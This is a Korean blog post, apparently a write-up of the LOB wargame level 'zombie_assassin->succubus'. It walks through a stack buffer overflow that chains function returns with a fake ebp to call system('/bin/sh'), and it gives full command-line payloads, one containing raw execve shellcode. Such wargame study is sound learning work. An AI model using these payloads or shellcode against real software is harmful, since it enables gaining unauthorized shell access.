LOB_17.zombie_assassin->succubus

해킹/LOB 2016. 2. 1. 21:54


코드가 매우 길다.

특이한 점은 점프를 항상 DO라는 함수로만 해야한다는 점. 그리고 LD_PRELOAD를 포함해서 스텍에 다른 사용할 수 있는 부분이 거의 다 memset 된다.

100만큼의 extra space만 남겨준다고 한다.


보아하니 check이라는 전역변수를 사용해서 DO -> GYE -> GUL -> YUT -> MO 도개걸윷모를 순서대로 실행시켜야만 마지막에 MO에 cmd로 전달되는 내용을 system 함수로 실행시켜 주는 내용이다.



음... 먼저 이 문제의 의도대로 풀어보자면

함수의 프롤로그는 push ebp , mov ebp esp 이고 에필로그는 leave, ret 풀어쓰면 mov esp ebp, pop ebp, pop eip jmp eip 이렇게 된다.

알아보기 힘들지만 중요한건 프롤로그 과정에서 push는 한번 되지만 에필로그에서는 pop이 두번 나온다는 것이다.

즉 ret의 주소가 다른 함수의 프롤로그일 경우 그 함수가 ret 할때 esp의 주소는 이전 리턴주소의 바로 뒷부분 4바이트라는 뜻이다.

쉽게말해 4바이트씩 다음 함수의 리턴주소를 계속 붙여주면 된다.

(a*44 || &DO || &GYE || &GUL || &YUT || &MO) 이런식으로 해주면 최종적으로 모까지 실행은 될것이다.


한가지 문제점이라면 MO가 ebp+8부분에 인자를 필요로 한다는 것인데 main buffer[0~44]를 전부 0으로 채워버리기 때문에 이때 ebp값은 0이 들어가있게 된다.

이부분을 해결하기 위해서 YUT을 실행할때 push ebp를 생략한 YUT+1부분으로 점프하면 된다. push가 한번 생략되었기 때문에 이전 GUL 함수의 리턴 뒷쪽 4바이트가 leave 과정에서 ebp로 들어간다. 이부분에 "/bin/sh"를 가르키는 주소의 주소 -8을 넣어주면 된다. 

말이 굉장히 어렵게 들리는데 좀 순화하자면 들어가는 fake ebp의 +8부분에 있는 주소가 "/bin/sh"를 가르키고 잇으면 된다.

거기에 esp가 ebp로 들어가지 않게 하기위해서 MO 역시 프롤로그를 생략하고 MO+3 부분에서 시작해야 한다.

그래서 최종적인 구성은


(a*44 || &DO || &GYE || &GUL || &YUT+1 || fake ebp || &MO+3 || &"/bin/sh" || "/bin/sh")

여기서 fake ebp는 자기자신의 주소를 가르키면 +8에 있는 &"/bin/sh"부분을 첫번째 인자로 인식할 것이고

&"/bin/sh"는 자기자신 바로 뒷쪽을 가르키고 이부분에 문자열 "/bin/sh"를 넣어주면 되겟다.

"/bin/sh"를  system 함수 뒷쪽 라이브러리에 있는것을 쓰고는 싶었으나 0x40이 들어가니 strchar함수에 걸려 막혀버린다.



우선 각 부분들의 주소를 확인해보자.



각각의 점프할 주소들을 구해주고


코어덤프를 이용해서 정확한 주소도 구해준다. 0x63636363 대신 들어갈 fake ebp가 자가지산의 주소인 0xbffffa5c를 가지면 된다.

그리고 밑에 0x64646464가 들어있는 부분이 자기자신의 바로 뒷쪽인 0xbffffa68을 가르키게 하고 저부분에 "/bin/sh"를 넣어주자.


./succubus `python -c 'print "a"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5d\x87\x04\x08"+"\x5c\xfa\xff\xbf"+"\x27\x87\x04\x08"+"\x68\xfa\xff\xbf"+"/bin/sh"'`

최종적인 페이로드는 이렇게 된다. 시도해보면




이런식으로 도 개 걸 윳 모를 차례로 통과하며 쉘을 띄워준다.

끝-


이아니라  꼭 이렇게 출제의도대로 고분고분하게 문제를 풀 필요는 없다.

이 문제에서는 스텍 뒷쪽 100바이트나 여분의 공간을 줬고 그부분을 어떻게 사용하든 내마음이다.

main의 리턴은 반드시 DO여야 하므로 첫번째 리턴은 &DO를 주지만 그 뒤에는 쉘코드를 넣고 그 위치로 리턴해도 된다.


페이로드 구성은 ( a*44 || &DO || &바로뒤 || 쉘코드 )

비슷한 과정으로 주소를 구해서 페이로드를 뽑아보면


./succubus `python -c 'print "a"*44+"\xec\x87\x04\x08"+"\x54\xfa\xff\xbf"+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


이렇게 된다. 41바이트 쉘코드가 들어있으서 페이로드 자체는 길고 복잡해 보이지만 사실은 훨씬 쉽게 푸는 방법이다.

돌려보면




이런식으로 DO만 거치고도 쉘을 띄울수 있다.

끝-

'해킹 > LOB' 카테고리의 다른 글

LOB_19.nightmare->xavius  (0) 2016.02.03
LOB_18.succubus->nightmare  (0) 2016.02.03
LOB_16.assassin->zombie_assassin  (0) 2016.01.31
LOB_15.giant->assassin  (0) 2016.01.31
LOB_14.bugbear->giant  (0) 2016.01.31
Tags
Social